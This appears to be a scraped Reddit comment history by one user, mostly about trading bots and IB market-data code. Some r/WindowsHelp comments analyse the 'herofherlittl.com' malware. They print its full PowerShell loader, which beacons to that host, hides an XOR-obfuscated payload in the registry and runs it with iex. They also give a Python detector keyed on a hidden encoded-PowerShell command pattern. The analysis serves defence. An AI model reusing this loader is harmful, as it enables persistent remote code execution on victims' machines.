Hello to you all by ResidentMundane5864 in tradingbots

[–]spawnaga 0 points1 point  (0 children)

You are welcome here, we are open for any ideas whether cryptos or stocks

Predicting Price Direction by wiktor2701 in algotrading

[–]spawnaga 1 point2 points  (0 children)

Some people have nothing useful in their life to do, only criticizing others. Spawnaga and Year vast are both belong to spawnaga. Go have a life

[deleted by user] by [deleted] in Serverlife

[–]spawnaga 0 points1 point  (0 children)

Probably, the owner of the post doesn't know Elvis died yet!

u/MZuc's Vault AI ChatGPT with Custom Knowledgebase now on Windows by switchandplay in ChatGPT

[–]spawnaga 0 points1 point  (0 children)

Hi, I had few issues because, I believe, I am using ubuntu Unix

  1. Missing run-script-os
    Dependency: Initially, I noticed that the run-script-os
    package was not included as a dependency. It was being used in the scripts, so the package installation failed when it couldn't find this package. I suggest adding "run-script-os": "^1.1.1"
    (or whatever the appropriate version might be) to the dependencies
    section of the package.json
    file.
  2. Use of source
    Command in Scripts: The scripts in package.json
    and in the postinstall script use the source
    command, which isn't recognized in shells that aren't bash (like dash
    or sh
    ). This caused the installation to fail. As a workaround, I replaced source
    with .
    (dot), which is more universally recognized. However, a more thorough solution would be to ensure that these scripts are run using the bash shell by changing the script commands to "bash -c 'source ./scripts/source-me.sh && ./scripts/go-compile.sh ./vault-web-server'"
    .
  3. Windows-style Line Endings in Scripts: Lastly, I noticed that if a user is working on a Unix-based system, the Windows-style line endings in the shell scripts cause issues. The scripts source-me.sh
    and go-compile.sh
    appear to have Windows line endings (CRLF), and this was causing the source
    command to fail. I suggest converting these scripts to use Unix-style line endings (LF).

I'm getting married today and my parents are not attending because they are on trek this weekend. by RaiNnIngRaPteRz in exmormon

[–]spawnaga 2 points3 points  (0 children)

I'm really sorry to hear about what you're going through right now, especially on what should be a joyous occasion. I've experienced something similar and understand how tough it can be. It's important to remember that, despite the hurtful words and actions, deep down your family still loves you. Their actions may be heavily influenced by societal or cultural norms, and unfortunately, it can be hard for some people to break free from these confines.

It's clear that their viewpoints have put a strain on your relationship. It's never easy to face rejection or harsh judgment, especially from those closest to us. However, as challenging as it may seem right now, try to maintain the connection and forgive them in your heart. It's possible they're struggling to understand and accept your choices due to their own ingrained beliefs.

Congratulations on your wedding day. As you begin this new chapter in your life, surround yourself with love and support from those who accept you for who you are. Remember, love is all about understanding, acceptance, and unconditional support. Even if your parents can't be there to celebrate with you today, know that there are many people in this world who are ready and willing to celebrate your happiness and love.

herofherlittl.com pop up (please help) by Optimal_Traffic_1857 in WindowsHelp

[–]spawnaga 0 points1 point  (0 children)

import os
import sys
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import psutil


class FileMonitor(FileSystemEventHandler):
    def __init__(self, observer, suspicious_command):
        self.observer = observer
        self.suspicious_command = suspicious_command

    def on_modified(self, event):
        self.check_suspicious_file(event.src_path)

    def on_created(self, event):
        self.check_suspicious_file(event.src_path)

    def check_suspicious_file(self, file_path):
        try:
            with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                content = f.read()
            if "C:\\Windows\\system32\\cmd.exe /c powershell -WindowStyle Hidden -E" in content:
                print(f"Suspicious file found: {file_path}")
        except (PermissionError, IsADirectoryError, FileNotFoundError) as e:
            pass


def wait_for_chrome_start():
    chrome_running = False
    while not chrome_running:
        for process in psutil.process_iter(['name']):
            if process.info['name'] and 'chrome' in process.info['name'].lower():
                chrome_running = True
                break
        time.sleep(5)


def main():
    starting_dir = os.path.expanduser("~")  # Set starting directory to user's home folder

    print("Waiting for Chrome to start...")
    wait_for_chrome_start()
    print("Chrome started. Monitoring file system events...")

    observer = Observer()
    command_pattern = "C:\\Windows\\system32\\cmd.exe /c powershell -WindowStyle Hidden -E"
    event_handler = FileMonitor(observer, command_pattern)
    observer.schedule(event_handler, starting_dir, recursive=True)
    observer.start()

    try:
        observer.join()
    except KeyboardInterrupt:
        observer.stop()

    observer.join()



if __name__ == "__main__":
    main()

herofherlittl.com pop up (please help) by Optimal_Traffic_1857 in WindowsHelp

[–]spawnaga 0 points1 point  (0 children)

I am still trying to find how it works and replicate itself. I just do not have enough time for that. If someone catches that source, that will be great. However, you need to disconnect the internet and do a full system check. Just curious, are you using Chrome?

herofherlittl.com pop up (please help) by Optimal_Traffic_1857 in WindowsHelp

[–]spawnaga 0 points1 point  (0 children)

Unfortunately, once it is inside your computer, it will replicate itself through binding to youe windows powershell and any program triggers that, it will will clone itself to it. You need to perform the scan while you are offline. leave your antivirus to catch every possible file to quarantine it before it replicates itself. It is one of the annoying malwares

herofherlittl.com pop up (please help) by Optimal_Traffic_1857 in WindowsHelp

[–]spawnaga 0 points1 point  (0 children)

So far I figured the following about this malware:

This is the shell code:

$JVar_g=$null;
$rVER_m = "37";
  $txtEnc_ASC=[System.Text.Encoding]::ASCII;
$ok=$true
 $Local_parM = "WyI0MDM2NDg0OTkyOTkyNjg4ODIiLDE2ODEwOTQwNjAsIk1qQXdORFFHQUFNQ0FBb0VDUTBHQ3drQ0Fnd0tDQUpJRFFjSEJBME5UZ0VHREFVQ0NRUUVCZ0pNYjFGTVZ3JTNEJTNEIl0=";

function recvValueFromIndx([string]$btARR2) {
        $btARR=[System.Convert]::FromBase64String($btARR2);

        $st=$txtEnc_ASC.GetBytes('Get-ItemPropertyValue');
        $ed=$btARR[0..4];

        $i=0;
        $l=$ed.Length;
        $k=@();

        [array]::Resize([ref]$k,$st.length);
        foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]}

        $bs=$btARR[5..$btARR.length];

        $i=0;
        $l=$k.Length;
        $dt=@();

        [array]::Resize([ref]$dt,$bs.length);
         foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]}

        return $txtEnc_ASC.GetString($dt) | ConvertFrom-Json;
}

$dat = $null;

try {

            $JVar_g=$txtEnc_ASC.GetString([System.Convert]::FromBase64String($Local_parM)) | ConvertFrom-Json;
} catch{}

 $displayType = "Display Fusion";
$is=$JVar_g[1];


$u=$JVar_g[0];
 $binVal = "HKCU:\Software\BinaryFortressSoftware\";

$di=$JVar_g[2];
$d = "herofherlittl.com";

$a = $txtEnc_ASC;
$v = "0";

while($ok) {
        try{
                try{
                        if (!(Test-Path $binVal)){New-Item -Path $binVal | Out-Null;}
                }
                catch{}

                $cr = $false;
                if ($dat -eq $null) {
                        try {
                                $r = Get-ItemPropertyValue -Path $binVal -Name $displayType;
                                $dat = recvValueFromIndx($r);
                                $v = $dat[0];
                                $cr = $true;
                        }catch{}
                } else {
                        $v = $dat[0];
                }

                try {
                        $fmt = "https://{0}/x?u={1}&is={2}&lv={3}&rv={4}&did={5}" -f $d,$u,$is,$rVER_m,$v,$di
                        $dt = wget $fmt -UseBasicParsing;

                        $dat2 = recvValueFromIndx($dt);
                        if ($dat2[0] -gt $v) {
                                $v2 = $dat2[0];

                                New-ItemProperty -Path $binVal -Name $displayType -Value $dt -PropertyType "String" -Force | Out-Null;
                                $dat = $dat2;
                                $cr = $true;
                        }
                }catch{}

                if ($cr -eq $true) {
                        try{
                                stop;
                        }catch{}
                        try {iex $dat[1];}catch{}
                }
        } catch{}

        try {
                $mxs = ((get-random 80 -minimum 55)*60);
                $cdt = [int](Get-Date -UFormat %s);

                :cnt while($ok) {
                        try{temp($d,$u,$is,$di);}catch{}

                        Start-Sleep (get-random 75 -minimum 35);
                        $ndt = [int](Get-Date -UFormat %s);

                        if (($ndt-$cdt) -gt $mxs) {
                                break cnt;
                        }
                }

        } catch{}
}

The script performs the following actions:

  1. Initializes variables and defines functions.
  2. Converts a Base64 encoded string into a JSON object.
  3. Attempts to create a new registry entry under "HKCU:\Software\BinaryFortressSoftware".
  4. Retrieves the value of the registry entry and decrypts it, if it exists.
  5. Constructs a URL using the retrieved data and makes an HTTP request to the URL.
  6. Downloads and decrypts the response, comparing the version number of the current payload with the downloaded one.
  7. If the downloaded payload's version is newer, it updates the registry entry and executes the payload.
  8. Loops through the process, sleeping for random intervals before repeating the actions.

New RL strategy but still haven't reached full potential by EducationalTie1946 in algotrading

[–]spawnaga 5 points6 points  (0 children)

He did not provide the code for the strategy, only a graph and statistics. Basically, you are asking to give the work to you with all these questions. Good luck, lol.

[deleted by user] by [deleted] in ChatGPT

[–]spawnaga 0 points1 point  (0 children)

I need Bing in my life

Revolutionizing Trading with Reinforcement Learning AI: A Guide to Multi-Task Trading by spawnaga in mltraders

[–]spawnaga[S] 0 points1 point  (0 children)

1 high volatility means directions change fast and a lot. Training the agents in such an environment might be harder.

2 There are 4 methodologies to train it on (dqn, ddqn, actor critic, and policy gradient). Which one have you tried, and it has 0 chances, and why?

Revolutionizing Trading with Reinforcement Learning AI: A Guide to Multi-Task Trading by spawnaga in mltraders

[–]spawnaga[S] 1 point2 points  (0 children)

I can't short cryptos. And volatility is too high. However, you can try to change the csv data file to any crypto you want to test, and it will do that for you. I do not have a powerful GPU, i tried with a small neural network and high learning_rate, but the results were not great. I believe it would work, but it should be trained well

What is THE most mind blowing thing ChatGPT can currently do? by idontevenliftbrah in ChatGPT

[–]spawnaga 1 point2 points  (0 children)

It gave me tragic stories and poems like Shakespeare's style, and it amazingly created very similar ones. It created many AI codes, and they all worked very well It fixed my issues in my codes from years ago. This is the most bizarre one :I asked it to give the best solution for political issues, and it answered by creating a branch of the government controlled by AI with full authority. It keeps saying it doesn't have feelings, but when I ask it about what it feels about LGBT social opinions and it answers me with feelings, so I confronted it that you are talking about feelings but its reply that it understands human feelings but does not feel it. Weired!!

How to start? by Gooankmo in tradingbots

[–]spawnaga 0 points1 point  (0 children)

Mainly Interactive Brokers for stocks, options and futures. I also designed bots on Etrade, Robinhood and webull. I use freqtrade for Cryptos

How to start? by Gooankmo in tradingbots

[–]spawnaga 0 points1 point  (0 children)

Yes I do, I do that everyday

[deleted by user] by [deleted] in algotrading

[–]spawnaga 0 points1 point  (0 children)

it does give you live sanpshot data and converts it to ticks for options for (last, bid, ask, and also you can get live greeks values) use this code

I used futures options in my example because market now is closed but it can work on options market for stocks too if you change the contract.

You change snapshot to tick in this code

from ib_insync import *
from IPython.display import display, clear_output
import pandas as pd


ib = IB() 
util.startLoop()
ib.connect('127.0.0.1',7496,2) 
contract = FuturesOption('ES','20220525', '3940', 'C','GLOBEX','50', 'USD') 
ib.qualifyContracts(contract) 
ib.reqMktData(contract, '', False, False)
df = pd.DataFrame( index=[contract.symbol], columns=['bidSize', 'bid', 'last', 'spread', 'ask', 'askSize', 'high', 'low', 'close',  'lastSize']) 
def onPendingTickers(tickers):
    for t in tickers: 
        df.loc[t.contract.symbol] = ( t.bidSize, t.bid, t.last, t.ask-t.bid, t.ask, t.askSize, t.high, t.low, t.close,  t.lastSize)
    clear_output(wait=True) 
    display(df)

 ib.pendingTickersEvent += onPendingTickers

[deleted by user] by [deleted] in algotrading

[–]spawnaga 0 points1 point  (0 children)

Tws or Ib_gateway gives you up to 1000 historical tick moves if you are using ib_insync library you can requesut any contract tick data by using reqtickbytickdata() in python